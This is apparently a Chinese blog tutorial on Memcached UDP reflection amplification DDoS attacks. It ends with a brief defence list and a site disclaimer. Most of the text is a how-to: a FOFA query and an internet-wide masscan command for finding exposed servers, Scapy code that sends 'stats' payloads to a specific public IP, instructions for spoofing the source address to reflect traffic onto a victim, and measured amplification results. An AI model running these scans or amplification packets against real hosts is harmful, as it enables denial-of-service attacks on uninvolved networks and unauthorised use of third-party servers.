引言
在网络安全领域,DDoS 攻击一直是最常见且最具破坏性的威胁之一。而 Memcached 反射放大攻击 的出现,则将这种威胁推向了一个新的高度。攻击者利用 Memcached 服务器的特性,能够将攻击流量放大数千倍,轻松瘫痪目标网络。这种攻击不仅成本低廉,而且难以追踪,给企业和组织带来了巨大的安全挑战。本文将深入探讨 Memcached 反射放大攻击的机制、危害以及防御策略。在该篇文章中我们将使用 Python的 Scapy库来实现
Memcached简介
Memcached 是一种高性能的分布式内存缓存系统,广泛应用于加速动态 Web 应用。然而,正是这样一个为提升效率而设计的工具,却因其默认支持 UDP 协议和缺乏认证机制,成为了攻击者发动 DDoS 反射放大攻击的利器。
基本原理
-
**反射:**服务采用udp协议,这使得攻击者可以伪造目标IP地址,向Memcached服务器发送请求,服务器误以为请求来自目标IP,并将响应发送到目标。
-
**放大:**Memcached的响应数据包远大于请求数据包,形成流量放大。
实验
(一)目标筛选
我们有多种方法可以筛选Memcached服务:
-
使用FOFA筛选能使用UDP协议的Memcached服务:使用搜索语法
protocol="memcache-udp"
。当然其他平台也可以。 -
使用Masscan扫描,使用命令
masscan -pU:11211 -oX memcached_udp.xml --rate 16000000 15.0.0.0-25.0.0.0
然后在从xml文件中把ip提取出来,发送测试数据包,把有响应的地址提取出来。
(二)代码实现
在这里我们以120.26.105.84
为目标。 各位千万不要滥用,这只是用于教育目的。
如需反射,请在IP()中加入srt参数
我们向放大器发送以下数据:
-
\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n
-
\x00\x00\x00\x00\x00\x01\x00\x00stats items\r\n
from scapy.all import *
from scapy.layers.inet import *
memcached_request = "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"
def test():
pkt = IP(dst=['120.26.105.84'])/UDP(dport=[11211], sport=80)/Raw(load=memcached_request)
response = sr1(pkt, verbose=False)
print(response)
test()
(三) 数据捕获
-
打开Wireshark
-
在过滤器中输入
udp.port == 11211 and not icmp
我们可以看到Memcached服务器返回的数据长度第一次为 920第二次为837,而我们的请求仅为57和63。
然而,对于不同的Memcached服务器其返回的大小都不一样,大家可以自己去尝试。
防御
-
升级Memcached服务版本(在新版本中解决了无需验证的设计缺陷。
-
更换默认端口,并改为使用TCP而不是UDP协议。
-
从源头解决IP欺骗问题
由于本人第一次写文章以及能力有限,难免有些不足之处,还请各位看官指出,再见
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)